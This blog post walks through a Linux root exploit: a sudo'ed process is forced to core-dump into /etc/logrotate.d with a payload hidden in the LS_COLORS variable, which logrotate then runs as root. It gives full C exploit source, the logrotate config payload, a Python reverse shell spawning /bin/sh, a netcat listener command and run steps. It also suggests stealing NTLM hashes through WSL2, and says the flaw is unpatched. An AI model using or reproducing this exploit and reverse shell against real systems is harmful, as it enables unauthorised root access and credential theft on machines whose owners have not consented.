Recently the good guys over at AlephSecurity discovered that if you can trigger a core dump from a sudo’ed app, then sometimes it does not release its sudo rights before core dumping.
Basically what this means is, that you can, if lucky, get a core dump written in a folder where you would normally not have access.
At first this does not seem that interesting, because what would the purpose of this be?
Consider this: What if the core file could contain a payload AND a privileged process could trigger this payload for you to gain root access.
It sounds a bit theoretical at first, but actually this is not even difficult to achieve.
The exploit
In order to get the exploit working, we need tree things: a payload, a way to force a core dump on a running process and finally a way to get the payload triggered in the end.
The payload part is easy, as there are a ton of good payloads available from PayloadAllThings. For the purpose of this exploit, I chose a payload that creates a simple python call-back socket to localhost on port 1234 (localhost would likely be your attack box in a real-world scenario).
The payload is placed in one of the environment variables that sudo would usually let through to the privileged scope. Aleph Security proposed to use XAUTHORITY env var, but I did not see that go through.
A simple check of the sudo code showed that the following variables should be let through as default:
/* * Default table of variables to preserve in the environment. */ static const char *initial_keepenv_table[] = { "COLORS", "DISPLAY", "HOSTNAME", "KRB5CCNAME", "LS_COLORS", "PATH", "PS1", "PS2", "XAUTHORITY", "XAUTHORIZATION", NULL };
I ended up using LS_COLORS as it is not relevant for the privileged system.
Getting some privileged process to trigger the payload requires a bit more research. This is because the coredump will contain not only the payload, but also rest of the memory dump from the process. It basically needs to be able to read the file without crashing on first encounter with some random data.
One service that fits in that category is logrotate. It reads its config files from /etc/logrotate.d/ and continues even if they have errors (outside the actual script it identifies). This makes it perfect for this as it normally runs as a privilegded service.
A config file for it could look like this:
/some/logfile/path {
su [user] [user]
[schedule]
size [min-size]
firstaction
[COMMAND]
endscript
}
Things in [ ] should be changes in this case. [user] should be the user we want (here root), [schedule] should be how often it should check the log file (daily is minimum), [size] if how large the file needs to be before it should be rotated (use 0 disables this) and finally [COMMAND]is where the payload should go.
So in the end our payload should look like this for logrotate to understand it:
/var/crash/test.log { su root root daily size=0 firstaction /usr/bin/python3 -c "import sys,socket,os,pty;s=socket.socket();s.connect(('127.0.0.1', 1234));os.dup2(s.fileno(), fd)for fd in (0,1,2)]; pty.spawn('/bin/sh')"; endscript }
In order to get something to core dump in Linux, you can either send one of the signals to the process that will tell it to core dump, or you can fake that the CPU runs out of resources.
The following signals can trigger a core dump:
Signal Standard Action Comment
──────────────────────────────────────────────────────────────────
SIGABRT P1990 Core Abort signal from abort(3)
SIGBUS P2001 Core Bus error (bad memory access)
SIGFPE P1990 Core Floating-point exception
SIGILL P1990 Core Illegal Instruction
SIGIOT - Core IOT trap. A synonym for SIGABRT
SIGQUIT P1990 Core Quit from keyboard
SIGSEGV P1990 Core Invalid memory reference
SIGSYS P2001 Core Bad system call (SVr4);
see also seccomp(2)
SIGTRAP P2001 Core Trace/breakpoint trap
SIGUNUSED - Core Synonymous with SIGSYS
SIGXCPU P2001 Core CPU time limit exceeded (4.2BSD);
see setrlimit(2)
SIGXFSZ P2001 Core File size limit exceeded (4.2BSD);
see setrlimit(2)
For this exploit it was easier to simply fake a resource exhaustion as it can simply be done by setting the right rlimit parameter values.
Finally, you trigger the sudo process – here using “sudo true” to run a process that does not actually do anything by itself.
#include <stdlib.h> #include <unistd.h> #include <sys/time.h> #include <sys/resource.h> int main(int argc, char **argv, char **envp) { char *nargv[] = {"sudo", "true", NULL}; struct rlimit lim; // build the environment variable with the payload that is understandable by logrotate char *lsc_env = "\n/var/crash/test.log{\n su root root\n daily\n size=0\nfirstaction\n /usr/bin/python3 -c \"import sys,socket,os,pty;s=socket.socket();s.connect(('127.0.0.1', 1234));os.dup2(s.fileno(), fd)for fd in (0,1,2)]; pty.spawn('/bin/sh')\";\n endscript\n}\n\nA\""; setenv("LS_COLORS", lsc_env, 1); chdir("/etc/logrotate.d"); // set initial values low to simulate a huge change lim.rlim_cur = 0; lim.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CPU, &lim); // set current value to highest value to fake resource exhaustion lim.rlim_cur = RLIM_INFINITY; lim.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &lim); // run "sudo true" execve("/usr/bin/sudo", nargv, envp); return 0; }
Now all there is left is to compile the program (gcc -o test test.c), create the dummy logfile (touch /var/crash/test.log), start a netcat listener on port 1234 (nc -nvlp 1234), go into the folder /etc/logrotate.d/ and then finally run the program until you get a core dump. It might take a few tries.
If you do not get any core dumps, you can usually force your kernel to give you one by simply running the following:
ulimit -S -c unlimited
How it all looks can be seen in the video at the top of this post.
I have tested this on multiple linux machines running Pop_OS, Ubuntu, Kali and Redhat and it has worked everywhere. I even tested on an ubuntu running in WSL2 (Windows Subsystem for Linux) where it worked as well. This means that your could actually create a payload that triggers windows processes and get e.g. NTLM hashes from the windows host via a linux exploit in wsl.
The vulnerability is not yet fixed in any released version and I have tested it as far as to kernel 5.14 (latest stable).
Hack the planet!